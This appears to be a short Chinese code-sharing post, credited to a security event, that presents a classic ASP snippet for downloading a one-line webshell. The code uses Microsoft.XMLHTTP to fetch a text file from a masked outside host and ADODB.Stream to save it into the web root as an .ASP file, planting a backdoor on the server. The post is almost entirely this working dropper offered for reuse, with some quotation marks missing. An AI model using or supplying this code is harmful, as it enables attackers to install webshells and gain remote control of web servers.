asp xmlhttp下载一句话

asp中通过xmlhttp下载一句话代码，需要的朋友可以参考下分享一下

在3est活动中学习的godlong的

复制代码代码如下:

<%

Set xPost = createObject(Microsoft.XMLHTTP)

xPost.Open GET,http://www.fxxxx.com/1.txt,0 '下载文件的地址

xPost.Send()

Set sGet = createObject(ADODB.Stream)

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile E:/WWWROOT/fuck1.ASP,2

%>